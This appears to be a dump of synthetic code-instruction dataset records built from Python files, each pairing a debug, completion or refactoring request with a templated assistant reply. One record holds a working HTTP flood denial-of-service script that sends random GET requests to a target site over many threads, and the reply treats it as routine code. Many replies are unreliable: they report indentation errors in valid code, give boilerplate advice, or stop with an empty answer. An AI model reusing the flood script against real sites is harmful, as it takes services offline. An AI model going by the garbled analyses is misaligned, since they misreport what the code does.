[{"role": "user", "content": "Debug this Pythoncode:Python code:\n# Copyright 2016 Mirantis Inc.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport getpass\nimport logging\n\nfrom cloudferry.lib.base import exception\nfrom cloudferry.lib.base.action import action\nfrom cloudferry.lib.utils import local\nfrom cloudferry.lib.utils import remote_runner\n\nclass CheckVMAXPrerequisites(action.Action):\n \"\"\"This verifies prerequisites required for NFS to VMAX iSCSI cinder\n volume migration\"\"\"\n\n def _iscsiadm_is_installed_locally(self):\n LOG.info(\"Checking if iscsiadm tool is installed\")\n try:\n local.run('iscsiadm --help &>/dev/null')\n except local.LocalExecutionFailed:\n msg = (\"iscsiadm is not available on the local host. Please \"\n \"install iscsiadm tool on the node you running on or \"\n \"choose other cinder backend for migration. iscsiadm is \"\n \"mandatory for migrations with EMC VMAX cinder backend\")\n LOG.error(msg)\n raise exception.AbortMigrationError(msg)\n\n def _check_local_sudo_password_set(self):\n current_user = getpass.getuser()\n if current_user != 'root' and \\\n self.cfg.migrate.local_sudo_password is None:\n try:\n local.sudo('ls')\n except local.LocalExecutionFailed:\n msg = (\"CloudFerry is running as '{user}' user, but \"\n \"passwordless sudo does not seem to be configured on \"\n \"current host. Please either specify password in \"\n \"`local_sudo_password` config option, or run \"\n \"CloudFerry as root user.\").format(user=current_user)\n LOG.error(msg)\n raise exception.AbortMigrationError(msg)\n\n\n ... [2 more functiondefs truncated] ..."}, {"role": "assistant", "content": " Code analysis results:\n\n\n\ud83d\udd34 Errors found:\n Code truncated in middle of expression - unexpected EOF\n Unterminated string literal at line 24\n Invalid syntax at line 55: ... [2 more functiondefs truncated] ...\n\n\n\u26a0\ufe0f Warnings:\n Unexpected indentation at line 25\n Unexpected indentation at line 29\n Unexpected indentation at line 31\n Unexpected indentation at line 33\n\n\ud83d\udca1 Suggestions:\n Complete the expression on the last line\n Add closing quote at line 24\n Review syntax near the error location"}]
| false
| null | null | null |
86798d0504dd04df9298eafb92e49de14fb4653a
|
TheStack--python--000.parquet
|
Complete this incomplete Pythoncode:Python code: """ A simple wrapper for the Bongo Iowa City bus API. """ import requests as req class Bongo(object): """ A simple Python wrapper for the Bongo Iowa City bus API. """ def __init__(self, format='json'): self.format = format def get(self, endpoint, **kwargs): """Perform a HTTP GET request to the API and return the data.""" if 'format' not in kwargs: kwargs['format'] = self.format url = "http://ebongo.org/api/%s" % (endpoint) response = req.get(url, params=kwargs) return self.convert(response) def convert(self, response): """Convert a request based on the response type.""" content_type = response.headers['content-type'] if content_type == 'application/json': data = response.json ... code continues ...
|
Completion: Missing: If block is incomplete - body missing To complete: • Add body to If block or use 'pass' statement Example continuation: elif 'stoplist' in response.url: # The `stoplist` endpoint insists that it's HTML. data = response.json else: data = response.content
|
advanced
|
api
|
incomplete_code
|
Pythoncode:Python
| 8
| 1
| 810
| true
|
[{"role": "user", "content": "Complete this incomplete Pythoncode:Python code:\n\"\"\"\nA simple wrapper for the Bongo Iowa City bus API.\n\"\"\"\n\nimport requests as req\n\n\nclass Bongo(object):\n \"\"\"\n A simple Python wrapper for the Bongo Iowa City bus API.\n \"\"\"\n\n def __init__(self, format='json'):\n self.format = format\n\n def get(self, endpoint, **kwargs):\n \"\"\"Perform a HTTP GET request to the API and return the data.\"\"\"\n if 'format' not in kwargs:\n kwargs['format'] = self.format\n url = \"http://ebongo.org/api/%s\" % (endpoint)\n response = req.get(url, params=kwargs)\n return self.convert(response)\n\n def convert(self, response):\n \"\"\"Convert a request based on the response type.\"\"\"\n content_type = response.headers['content-type']\n if content_type == 'application/json':\n data = response.json\n\n ... code continues ..."}, {"role": "assistant", "content": " Completion:\n\n Missing: If block is incomplete - body missing\n\n To complete:\n \u2022 Add body to If block or use 'pass' statement\n\n Example continuation:\n elif 'stoplist' in response.url:\n # The `stoplist` endpoint insists that it's HTML.\n data = response.json\n else:\n data = response.content"}]
| true
|
syntax
|
MID_BLOCK
|
HIGH
|
8679dfd086b9b3768ebf7c42ebcbb01fc263b720
|
TheStack--python--000.parquet
|
Debug this Pythoncode:Python code: import random import socket import string import sys import threading import time def attack(host: str, port: int = 80, request_count: int = 10 ** 10) -> None: # Threading support thread_num = 0 thread_num_mutex = threading.Lock() # Utility function def print_status() -> None: global thread_num thread_num_mutex.acquire(True) thread_num += 1 print(f"\n[{time.ctime().split(' ')[3]}] [{str(thread_num)}] Under progress...") thread_num_mutex.release() def generate_url_path(): msg = str(string.ascii_letters + string.digits + string.punctuation) data = "".join(random.sample(msg, 5)) return data def attack_() -> None: print_status() url_path = generate_url_path() dos = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: dos.connect((ip, port)) msg = f"GET /{url_path} HTTP/1.1\nHost: {host}\n\n" dos.send(msg.encode()) except socket.error: print(f"[ERROR] Site may be down | {socket.error}") finally: dos.shutdown(socket.SHUT_RDWR) dos.close() try: host = host.replace("https://", "").replace("http://", "").replace("www.", "") ip = socket.gethostbyname(host) except socket.gaierror: print("[ERROR] Make sure you entered a correct website!") sys.exit(2) all_threads = [] for i in range(request_count): t1 = threading.Thread(target=attack) t1.start() all_threads.append(t1) time.sleep(0.01) for current_thread in all_threads: current_thread.join()
|
Code analysis results: ⚠️ Warnings: Unexpected indentation at line 11 Unexpected indentation at line 12 Unexpected indentation at line 15 Unexpected indentation at line 17 💡 Suggestions: Add docstring to function 'attack' Add docstring to function 'print_status' Add docstring to function 'attack_'
|
intermediate
|
api
|
debugging
|
Pythoncode:Python
| 4
| 0
| 1,671
| true
|
[{"role": "user", "content": "Debug this Pythoncode:Python code:\nimport random\nimport socket\nimport string\nimport sys\nimport threading\nimport time\n\n\ndef attack(host: str, port: int = 80, request_count: int = 10 ** 10) -> None:\n # Threading support\n thread_num = 0\n thread_num_mutex = threading.Lock()\n\n # Utility function\n def print_status() -> None:\n global thread_num\n thread_num_mutex.acquire(True)\n\n thread_num += 1\n print(f\"\\n[{time.ctime().split(' ')[3]}] [{str(thread_num)}] Under progress...\")\n\n thread_num_mutex.release()\n\n def generate_url_path():\n msg = str(string.ascii_letters + string.digits + string.punctuation)\n data = \"\".join(random.sample(msg, 5))\n return data\n\n def attack_() -> None:\n print_status()\n url_path = generate_url_path()\n\n dos = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n\n try:\n dos.connect((ip, port))\n\n msg = f\"GET /{url_path} HTTP/1.1\\nHost: {host}\\n\\n\"\n dos.send(msg.encode())\n except socket.error:\n print(f\"[ERROR] Site may be down | {socket.error}\")\n finally:\n dos.shutdown(socket.SHUT_RDWR)\n dos.close()\n\n try:\n host = host.replace(\"https://\", \"\").replace(\"http://\", \"\").replace(\"www.\", \"\")\n ip = socket.gethostbyname(host)\n except socket.gaierror:\n print(\"[ERROR] Make sure you entered a correct website!\")\n sys.exit(2)\n\n all_threads = []\n\n for i in range(request_count):\n t1 = threading.Thread(target=attack)\n t1.start()\n all_threads.append(t1)\n\n time.sleep(0.01)\n\n for current_thread in all_threads:\n current_thread.join()"}, {"role": "assistant", "content": " Code analysis results:\n\n\n\u26a0\ufe0f Warnings:\n Unexpected indentation at line 11\n Unexpected indentation at line 12\n Unexpected indentation at line 15\n Unexpected indentation at line 17\n\n\ud83d\udca1 Suggestions:\n Add docstring to function 'attack'\n Add docstring to function 'print_status'\n Add docstring to function 'attack_'"}]
| false
| null | null | null |
867a45f315cdcc7854ea80a22125e3ed4f3423db
|
TheStack--python--000.parquet
|
Fill in the in this Pythoncode:Python code: def default_evaluator(model, X_test, y_test): """A simple evaluator that takes in a model, and a test set, and returns the loss. Args: model: The model to evaluate. X_test: The features matrix of the test set. y_test: The one-hot labels matrix of the test set. # Complete this line Returns: The loss on the test set. """ return model.evaluate(X_test, y_test, verbose=0)[0]
|
The missing line is:
|
intermediate
|
testing
|
fill_in_the_blank
|
Pythoncode:Python
| 1
| 0
| 443
| false
|
[{"role": "user", "content": "Fill in the in this Pythoncode:Python code:\ndef default_evaluator(model, X_test, y_test):\r\n \"\"\"A simple evaluator that takes in a model,\r\n and a test set, and returns the loss.\r\n\r\n Args:\r\n model: The model to evaluate.\r\n X_test: The features matrix of the test set.\r\n y_test: The one-hot labels matrix of the test set.\r\n # Complete this line\n Returns:\r\n The loss on the test set.\r\n \"\"\"\r\n return model.evaluate(X_test, y_test, verbose=0)[0]"}, {"role": "assistant", "content": "The missing line is:"}]
| false
| null | null | null |
867a66ae5d5de251f9ea678d34a2cd01a411db2e
|
TheStack--python--000.parquet
|
Debug this Pythoncode:Python code: import random class Yolov3(object): def __init__(self): self.num=0 self.input_size=[8,16,32] def __iter__(self): return self def __next__(self): a = random.choice(self.input_size) self.num=self.num+1 if self.num<3: return a else: raise StopIteration yolo=Yolov3() for data in yolo: print(data)
|
Code analysis results: 🔴 Errors found: Block at line 2 has no indented body ⚠️ Warnings: Unexpected indentation at line 6 Unexpected indentation at line 7 Unexpected indentation at line 9 Unexpected indentation at line 11 💡 Suggestions: Add docstring to class 'Yolov3' Remove debug print() at line 18 before production
|
intermediate
|
machine_learning
|
debugging
|
Pythoncode:Python
| 3
| 1
| 319
| true
|
[{"role": "user", "content": "Debug this Pythoncode:Python code:\nimport random\nclass Yolov3(object):\n\n\tdef __init__(self):\n\t\tself.num=0\n\t\tself.input_size=[8,16,32]\n\tdef __iter__(self):\n\t\treturn self\n\tdef __next__(self):\n\t\ta = random.choice(self.input_size)\n\t\tself.num=self.num+1\n\t\tif self.num<3:\n\t\t\treturn a\n\t\telse:\n\t\t\traise StopIteration\nyolo=Yolov3()\nfor data in yolo:\n\tprint(data)"}, {"role": "assistant", "content": " Code analysis results:\n\n\n\ud83d\udd34 Errors found:\n Block at line 2 has no indented body\n\n\u26a0\ufe0f Warnings:\n Unexpected indentation at line 6\n Unexpected indentation at line 7\n Unexpected indentation at line 9\n Unexpected indentation at line 11\n\n\ud83d\udca1 Suggestions:\n Add docstring to class 'Yolov3'\n Remove debug print() at line 18 before production"}]
| false
| null | null | null |
867addf71ccf4a2d2cc021bb3410dbc784317269
|
TheStack--python--000.parquet
|
Complete this Pythoncode:Python code: import math import numpy as np import librosa from utils import hparams as hp from scipy.signal import lfilter import soundfile as sf def label_2_float(x, bits): return 2 * x / (2**bits - 1.) - 1. def float_2_label(x, bits): assert abs(x).max() <= 1.0 x = (x + 1.) * (2**bits - 1) / 2 return x.clip(0, 2**bits - 1) def load_wav(path): return librosa.load(path, sr=hp.sample_rate)[0] def save_wav(x, path): # librosa.output.write_wav(path, x.astype(np.float32), sr=hp.sample_rate) sf.write(path, x.astype(np.float32), samplerate=hp.sample_rate) def split_signal(x): unsigned = x + 2**15 coarse = unsigned // 256 fine = unsigned % 256 return coarse, fine def combine_signal(coarse, fine): return coarse * 256 + fine - 2**15 def encode_16bits(x): return np.clip(x * 2**15, -2**15, 2**15 - 1).astype(np.int16) def linear_to_mel(spectrogram): return librosa.feature.melspectrogram( S=spectrogram, sr=hp.sample_rate, n_fft=hp.n_fft, n_mels=hp.num_mels, fmin=hp.fmin) ''' def build_mel_basis(): return librosa.filters.mel(hp.sample_rate, hp.n_fft, n_mels=hp.num_mels, fmin=hp.fmin) ''' def normalize(S): return np.clip((S - hp.min_level_db) / -hp.min_level_db, 0, 1) def denormalize(S): return (np.clip(S, 0, 1) * -hp.min_level_db) + hp.min_level_db def amp_to_db(x): return 20 * np.log10(np.maximum(1e-5, x)) def db_to_amp(x): return np.power(10.0, x * 0.05) def spectrogram(y): D = stft(y) S = amp_to_db(np.abs(D)) - hp.ref_level_db return normalize(S)
|
def melspectrogram(y): D = stft(y) S = amp_to_db(linear_to_mel(np.abs(D))) return normalize(S) def stft(y): return librosa.stft( y=y, n_fft=hp.n_fft, hop_length=hp.hop_length, win_length=hp.win_length) def pre_emphasis(x): return lfilter([1, -hp.preemphasis], [1], x) def de_emphasis(x): return lfilter([1], [1, -hp.preemphasis], x) def encode_mu_law(x, mu): mu = mu - 1 fx = np.sign(x) * np.log(1 + mu * np.abs(x)) / np.log(1 + mu) return np.floor((fx + 1) / 2 * mu + 0.5) def decode_mu_law(y, mu, from_labels=True): # TODO: get rid of log2 - makes no sense if from_labels: y = label_2_float(y, math.log2(mu)) mu = mu - 1 x = np.sign(y) / mu * ((1 + mu) ** np.abs(y) - 1) return x def reconstruct_waveform(mel, n_iter=32): """Uses Griffin-Lim phase reconstruction to convert from a normalized mel spectrogram back into a waveform.""" denormalized = denormalize(mel) amp_mel = db_to_amp(denormalized) S = librosa.feature.inverse.mel_to_stft( amp_mel, power=1, sr=hp.sample_rate, n_fft=hp.n_fft, fmin=hp.fmin) wav = librosa.core.griffinlim( S, n_iter=n_iter, hop_length=hp.hop_length, win_length=hp.win_length) return wav
|
advanced
|
testing
|
code_completion
|
Pythoncode:Python
| 21
| 0
| 2,836
| true
|
[{"role": "user", "content": "Complete this Pythoncode:Python code:\nimport math\nimport numpy as np\nimport librosa\nfrom utils import hparams as hp\nfrom scipy.signal import lfilter\nimport soundfile as sf\n\n\ndef label_2_float(x, bits):\n return 2 * x / (2**bits - 1.) - 1.\n\n\ndef float_2_label(x, bits):\n assert abs(x).max() <= 1.0\n x = (x + 1.) * (2**bits - 1) / 2\n return x.clip(0, 2**bits - 1)\n\n\ndef load_wav(path):\n return librosa.load(path, sr=hp.sample_rate)[0]\n\n\ndef save_wav(x, path):\n # librosa.output.write_wav(path, x.astype(np.float32), sr=hp.sample_rate)\n sf.write(path, x.astype(np.float32), samplerate=hp.sample_rate)\n\ndef split_signal(x):\n unsigned = x + 2**15\n coarse = unsigned // 256\n fine = unsigned % 256\n return coarse, fine\n\n\ndef combine_signal(coarse, fine):\n return coarse * 256 + fine - 2**15\n\n\ndef encode_16bits(x):\n return np.clip(x * 2**15, -2**15, 2**15 - 1).astype(np.int16)\n\n\ndef linear_to_mel(spectrogram):\n return librosa.feature.melspectrogram(\n S=spectrogram, sr=hp.sample_rate, n_fft=hp.n_fft, n_mels=hp.num_mels, fmin=hp.fmin)\n\n'''\ndef build_mel_basis():\n return librosa.filters.mel(hp.sample_rate, hp.n_fft, n_mels=hp.num_mels, fmin=hp.fmin)\n'''\n\ndef normalize(S):\n return np.clip((S - hp.min_level_db) / -hp.min_level_db, 0, 1)\n\n\ndef denormalize(S):\n return (np.clip(S, 0, 1) * -hp.min_level_db) + hp.min_level_db\n\n\ndef amp_to_db(x):\n return 20 * np.log10(np.maximum(1e-5, x))\n\n\ndef db_to_amp(x):\n return np.power(10.0, x * 0.05)\n\n\ndef spectrogram(y):\n D = stft(y)\n S = amp_to_db(np.abs(D)) - hp.ref_level_db\n return normalize(S)"}, {"role": "assistant", "content": "\n\ndef melspectrogram(y):\n D = stft(y)\n S = amp_to_db(linear_to_mel(np.abs(D)))\n return normalize(S)\n\n\ndef stft(y):\n return librosa.stft(\n y=y,\n n_fft=hp.n_fft, hop_length=hp.hop_length, win_length=hp.win_length)\n\n\ndef pre_emphasis(x):\n return lfilter([1, -hp.preemphasis], [1], x)\n\n\ndef de_emphasis(x):\n return lfilter([1], [1, -hp.preemphasis], x)\n\n\ndef encode_mu_law(x, mu):\n mu = mu - 1\n fx = np.sign(x) * np.log(1 + mu * np.abs(x)) / np.log(1 + mu)\n return np.floor((fx + 1) / 2 * mu + 0.5)\n\n\ndef decode_mu_law(y, mu, from_labels=True):\n # TODO: get rid of log2 - makes no sense\n if from_labels: y = label_2_float(y, math.log2(mu))\n mu = mu - 1\n x = np.sign(y) / mu * ((1 + mu) ** np.abs(y) - 1)\n return x\n\ndef reconstruct_waveform(mel, n_iter=32):\n \"\"\"Uses Griffin-Lim phase reconstruction to convert from a normalized\n mel spectrogram back into a waveform.\"\"\"\n denormalized = denormalize(mel)\n amp_mel = db_to_amp(denormalized)\n S = librosa.feature.inverse.mel_to_stft(\n amp_mel, power=1, sr=hp.sample_rate,\n n_fft=hp.n_fft, fmin=hp.fmin)\n wav = librosa.core.griffinlim(\n S, n_iter=n_iter,\n hop_length=hp.hop_length, win_length=hp.win_length)\n return wav"}]
| false
| null | null | null |
867af3eaf92e62e8468d18b191fba31f6c76639c
|
TheStack--python--000.parquet
|
Complete this Pythoncode:Python code: from getratings.models.ratings import Ratings class NA_Talon_Jng_Aatrox(Ratings): pass class NA_Talon_Jng_Ahri(Ratings): pass class NA_Talon_Jng_Akali(Ratings): pass class NA_Talon_Jng_Alistar(Ratings): pass class NA_Talon_Jng_Amumu(Ratings): pass class NA_Talon_Jng_Anivia(Ratings): pass class NA_Talon_Jng_Annie(Ratings): pass class NA_Talon_Jng_Ashe(Ratings): pass class NA_Talon_Jng_AurelionSol(Ratings): pass class NA_Talon_Jng_Azir(Ratings): pass class NA_Talon_Jng_Bard(Ratings): pass class NA_Talon_Jng_Blitzcrank(Ratings): pass class NA_Talon_Jng_Brand(Ratings): pass class NA_Talon_Jng_Braum(Ratings): pass class NA_Talon_Jng_Caitlyn(Ratings): pass class NA_Talon_Jng_Camille(Ratings): pass class NA_Talon_Jng_Cassiopeia(Ratings): pass class NA_Talon_Jng_Chogath(Ratings): pass class NA_Talon_Jng_Corki(Ratings): pass class NA_Talon_Jng_Darius(Ratings): pass class NA_Talon_Jng_Diana(Ratings): pass class NA_Talon_Jng_Draven(Ratings): pass class NA_Talon_Jng_DrMundo(Ratings): pass class NA_Talon_Jng_Ekko(Ratings): pass class NA_Talon_Jng_Elise(Ratings): pass class NA_Talon_Jng_Evelynn(Ratings): pass class NA_Talon_Jng_Ezreal(Ratings): pass class NA_Talon_Jng_Fiddlesticks(Ratings): pass class NA_Talon_Jng_Fiora(Ratings): pass class NA_Talon_Jng_Fizz(Ratings): pass class NA_Talon_Jng_Galio(Ratings): pass class NA_Talon_Jng_Gangplank(Ratings): pass class NA_Talon_Jng_Garen(Ratings): pass class NA_Talon_Jng_Gnar(Ratings): pass class NA_Talon_Jng_Gragas(Ratings): pass class NA_Talon_Jng_Graves(Ratings): pass class NA_Talon_Jng_Hecarim(Ratings): pass class NA_Talon_Jng_Heimerdinger(Ratings): pass class NA_Talon_Jng_Illaoi(Ratings): pass
|
class NA_Talon_Jng_Irelia(Ratings): pass class NA_Talon_Jng_Ivern(Ratings): pass class NA_Talon_Jng_Janna(Ratings): pass class NA_Talon_Jng_JarvanIV(Ratings): pass class NA_Talon_Jng_Jax(Ratings): pass class NA_Talon_Jng_Jayce(Ratings): pass class NA_Talon_Jng_Jhin(Ratings): pass class NA_Talon_Jng_Jinx(Ratings): pass class NA_Talon_Jng_Kalista(Ratings): pass class NA_Talon_Jng_Karma(Ratings): pass class NA_Talon_Jng_Karthus(Ratings): pass class NA_Talon_Jng_Kassadin(Ratings): pass class NA_Talon_Jng_Katarina(Ratings): pass class NA_Talon_Jng_Kayle(Ratings): pass class NA_Talon_Jng_Kayn(Ratings): pass class NA_Talon_Jng_Kennen(Ratings): pass class NA_Talon_Jng_Khazix(Ratings): pass class NA_Talon_Jng_Kindred(Ratings): pass class NA_Talon_Jng_Kled(Ratings): pass class NA_Talon_Jng_KogMaw(Ratings): pass class NA_Talon_Jng_Leblanc(Ratings): pass class NA_Talon_Jng_LeeSin(Ratings): pass class NA_Talon_Jng_Leona(Ratings): pass class NA_Talon_Jng_Lissandra(Ratings): pass class NA_Talon_Jng_Lucian(Ratings): pass class NA_Talon_Jng_Lulu(Ratings): pass ... [73 more classdefs truncated] ...
|
advanced
|
machine_learning
|
code_completion
|
Pythoncode:Python
| 0
| 65
| 3,088
| true
|
[{"role": "user", "content": "Complete this Pythoncode:Python code:\nfrom getratings.models.ratings import Ratings\r\n\r\nclass NA_Talon_Jng_Aatrox(Ratings):\r\n\tpass\r\n\r\nclass NA_Talon_Jng_Ahri(Ratings):\r\n\tpass\r\n\r\nclass NA_Talon_Jng_Akali(Ratings):\r\n\tpass\r\n\r\nclass NA_Talon_Jng_Alistar(Ratings):\r\n\tpass\r\n\r\nclass NA_Talon_Jng_Amumu(Ratings):\r\n\tpass\r\n\r\nclass NA_Talon_Jng_Anivia(Ratings):\r\n\tpass\r\n\r\nclass NA_Talon_Jng_Annie(Ratings):\r\n\tpass\r\n\r\nclass NA_Talon_Jng_Ashe(Ratings):\r\n\tpass\r\n\r\nclass NA_Talon_Jng_AurelionSol(Ratings):\r\n\tpass\r\n\r\nclass NA_Talon_Jng_Azir(Ratings):\r\n\tpass\r\n\r\nclass NA_Talon_Jng_Bard(Ratings):\r\n\tpass\r\n\r\nclass NA_Talon_Jng_Blitzcrank(Ratings):\r\n\tpass\r\n\r\nclass NA_Talon_Jng_Brand(Ratings):\r\n\tpass\r\n\r\nclass NA_Talon_Jng_Braum(Ratings):\r\n\tpass\r\n\r\nclass NA_Talon_Jng_Caitlyn(Ratings):\r\n\tpass\r\n\r\nclass NA_Talon_Jng_Camille(Ratings):\r\n\tpass\r\n\r\nclass NA_Talon_Jng_Cassiopeia(Ratings):\r\n\tpass\r\n\r\nclass NA_Talon_Jng_Chogath(Ratings):\r\n\tpass\r\n\r\nclass NA_Talon_Jng_Corki(Ratings):\r\n\tpass\r\n\r\nclass NA_Talon_Jng_Darius(Ratings):\r\n\tpass\r\n\r\nclass NA_Talon_Jng_Diana(Ratings):\r\n\tpass\r\n\r\nclass NA_Talon_Jng_Draven(Ratings):\r\n\tpass\r\n\r\nclass NA_Talon_Jng_DrMundo(Ratings):\r\n\tpass\r\n\r\nclass NA_Talon_Jng_Ekko(Ratings):\r\n\tpass\r\n\r\nclass NA_Talon_Jng_Elise(Ratings):\r\n\tpass\r\n\r\nclass NA_Talon_Jng_Evelynn(Ratings):\r\n\tpass\r\n\r\nclass NA_Talon_Jng_Ezreal(Ratings):\r\n\tpass\r\n\r\nclass NA_Talon_Jng_Fiddlesticks(Ratings):\r\n\tpass\r\n\r\nclass NA_Talon_Jng_Fiora(Ratings):\r\n\tpass\r\n\r\nclass NA_Talon_Jng_Fizz(Ratings):\r\n\tpass\r\n\r\nclass NA_Talon_Jng_Galio(Ratings):\r\n\tpass\r\n\r\nclass NA_Talon_Jng_Gangplank(Ratings):\r\n\tpass\r\n\r\nclass NA_Talon_Jng_Garen(Ratings):\r\n\tpass\r\n\r\nclass NA_Talon_Jng_Gnar(Ratings):\r\n\tpass\r\n\r\nclass NA_Talon_Jng_Gragas(Ratings):\r\n\tpass\r\n\r\nclass NA_Talon_Jng_Graves(Ratings):\r\n\tpass\r\n\r\nclass NA_Talon_Jng_Hecarim(Ratings):\r\n\tpass\r\n\r\nclass NA_Talon_Jng_Heimerdinger(Ratings):\r\n\tpass\r\n\r\nclass NA_Talon_Jng_Illaoi(Ratings):\r\n\tpass"}, {"role": "assistant", "content": "\nclass NA_Talon_Jng_Irelia(Ratings):\r\n\tpass\r\n\r\nclass NA_Talon_Jng_Ivern(Ratings):\r\n\tpass\r\n\r\nclass NA_Talon_Jng_Janna(Ratings):\r\n\tpass\r\n\r\nclass NA_Talon_Jng_JarvanIV(Ratings):\r\n\tpass\r\n\r\nclass NA_Talon_Jng_Jax(Ratings):\r\n\tpass\r\n\r\nclass NA_Talon_Jng_Jayce(Ratings):\r\n\tpass\r\n\r\nclass NA_Talon_Jng_Jhin(Ratings):\r\n\tpass\r\n\r\nclass NA_Talon_Jng_Jinx(Ratings):\r\n\tpass\r\n\r\nclass NA_Talon_Jng_Kalista(Ratings):\r\n\tpass\r\n\r\nclass NA_Talon_Jng_Karma(Ratings):\r\n\tpass\r\n\r\nclass NA_Talon_Jng_Karthus(Ratings):\r\n\tpass\r\n\r\nclass NA_Talon_Jng_Kassadin(Ratings):\r\n\tpass\r\n\r\nclass NA_Talon_Jng_Katarina(Ratings):\r\n\tpass\r\n\r\nclass NA_Talon_Jng_Kayle(Ratings):\r\n\tpass\r\n\r\nclass NA_Talon_Jng_Kayn(Ratings):\r\n\tpass\r\n\r\nclass NA_Talon_Jng_Kennen(Ratings):\r\n\tpass\r\n\r\nclass NA_Talon_Jng_Khazix(Ratings):\r\n\tpass\r\n\r\nclass NA_Talon_Jng_Kindred(Ratings):\r\n\tpass\r\n\r\nclass NA_Talon_Jng_Kled(Ratings):\r\n\tpass\r\n\r\nclass NA_Talon_Jng_KogMaw(Ratings):\r\n\tpass\r\n\r\nclass NA_Talon_Jng_Leblanc(Ratings):\r\n\tpass\r\n\r\nclass NA_Talon_Jng_LeeSin(Ratings):\r\n\tpass\r\n\r\nclass NA_Talon_Jng_Leona(Ratings):\r\n\tpass\r\n\r\nclass NA_Talon_Jng_Lissandra(Ratings):\r\n\tpass\r\n\r\nclass NA_Talon_Jng_Lucian(Ratings):\r\n\tpass\r\n\r\nclass NA_Talon_Jng_Lulu(Ratings):\r\n\tpass\r\n\r\n\n ... [73 more classdefs truncated] ..."}]
| false
| null | null | null |
867b8e99cfbed437050f3b3f92884ccf95f2bf33
|
TheStack--python--000.parquet
|
Find all errors in this Pythoncode:Python code: class TurkishText(): """Class for handling lowercase/uppercase conversions of Turkish characters.. Attributes: text -- Turkish text to be handled """ text = "" l = ['ı', 'ğ', 'ü', 'ş', 'i', 'ö', 'ç'] u = ['I', 'Ğ', 'Ü', 'Ş', 'İ', 'Ö', 'Ç'] def __init__(self, text): self.text = text def upper(self): """Converts the text into uppercase letters. Returns string. """ res = "" for i in self.text: if i in self.l: res += self.u[self.l.index(i)] else : res += i.upper() return res def lower(self): """Converts the text into lowercase letters.
|
Error Analysis: Error Type: HARD_CUT Error: SyntaxError / EOF Detected Errors: • Unterminated string literal at line 2 • SyntaxError: unterminated triple-quoted string literal (detected at line 28) at line 28 Fix: Complete the truncated code structure
|
advanced
|
api
|
error_detection
|
Pythoncode:Python
| 4
| 1
| 706
| false
|
[{"role": "user", "content": "Find all errors in this Pythoncode:Python code:\nclass TurkishText():\n \"\"\"Class for handling lowercase/uppercase conversions of Turkish characters..\n\n Attributes:\n text -- Turkish text to be handled\n \"\"\"\n\n text = \"\"\n l = ['\u0131', '\u011f', '\u00fc', '\u015f', 'i', '\u00f6', '\u00e7']\n u = ['I', '\u011e', '\u00dc', '\u015e', '\u0130', '\u00d6', '\u00c7']\n\n def __init__(self, text):\n self.text = text\n\n def upper(self):\n \"\"\"Converts the text into uppercase letters.\n Returns string.\n \"\"\"\n res = \"\"\n for i in self.text:\n if i in self.l:\n res += self.u[self.l.index(i)]\n else :\n res += i.upper()\n return res\n\n def lower(self):\n \"\"\"Converts the text into lowercase letters."}, {"role": "assistant", "content": " Error Analysis:\n\n Error Type: HARD_CUT\n Error: SyntaxError / EOF\n\n Detected Errors:\n \u2022 Unterminated string literal at line 2\n \u2022 SyntaxError: unterminated triple-quoted string literal (detected at line 28) at line 28\n\n Fix: Complete the truncated code structure"}]
| true
|
syntax
|
HARD_CUT
|
CRITICAL
|
867b9f7391f64037b68d280aea495bc5295d4119
|
TheStack--python--000.parquet
|
Suggest refactoring for this Pythoncode:Python code: import googlemaps gmaps = googlemaps.Client(key='google_key') def get_markers(address): geocode_result = gmaps.geocode(address) return geocode_result[0]['geometry']['location']
|
Refactoring suggestions: Extract reusable functions Improve naming conventions Add documentation
|
beginner
|
general
|
refactoring
|
Pythoncode:Python
| 1
| 0
| 188
| true
|
[{"role": "user", "content": "Suggest refactoring for this Pythoncode:Python code:\nimport googlemaps\n\ngmaps = googlemaps.Client(key='google_key')\n\n\ndef get_markers(address):\n geocode_result = gmaps.geocode(address)\n return geocode_result[0]['geometry']['location']"}, {"role": "assistant", "content": "Refactoring suggestions:\n Extract reusable functions\n Improve naming conventions\n Add documentation"}]
| false
| null | null | null |
867bbaa4b747400e8e0dce95ef2502b3a1d6e3df
|
TheStack--python--000.parquet
|
Suggest refactoring for this Pythoncode:Python code: from __future__ import absolute_import from __future__ import division from __future__ import print_function # Imports import os import numpy as np import tensorflow as tf def run(model, X, Y, optimizer=None, nb_epochs=30, nb_batches=128): """ Run the estimator """ if optimizer is None: optimizer = tf.keras.estimators.SGD( lr=0.0009, decay=1e-5, momentum=0.9, nesterov=True) # 1. Compile the model model.compile( optimizer=optimizer, loss='categorical_crossentropy', metrics=['accuracy']) # 2. Create an estimator model_est = tf.keras.estimator.model_to_estimator( keras_model=model, model_dir='./lenet') # Training # 3a. Create the training function train_input_fn = tf.estimator.inputs.numpy_input_fn( x={model.input_names[0]: X['train'].astype(np.float32)}, y=Y['train'].astype(np.float32), batch_size=nb_batches, num_epochs=nb_epochs, shuffle=True ) # 3b. Train the model model_est.train(input_fn=train_input_fn, steps=nb_epochs*nb_batches) # Evaluate # 4a. Evaluate the model eval_input_fn = tf.estimator.inputs.numpy_input_fn( x={model.input_names[0]: X['test'].astype(np.float32)}, y=Y['test'].astype(np.float32), batch_size=nb_batches, num_epochs=nb_epochs, shuffle=True ) # 4b. Evaluate the model model_eval = model_est.evaluate(input_fn=eval_input_fn) print(model_eval) return model_est, model_eval ... [1 more functiondefs truncated] ...
|
Refactoring suggestions: Extract reusable functions Improve naming conventions Add documentation
|
intermediate
|
testing
|
refactoring
|
Pythoncode:Python
| 1
| 0
| 1,654
| true
|
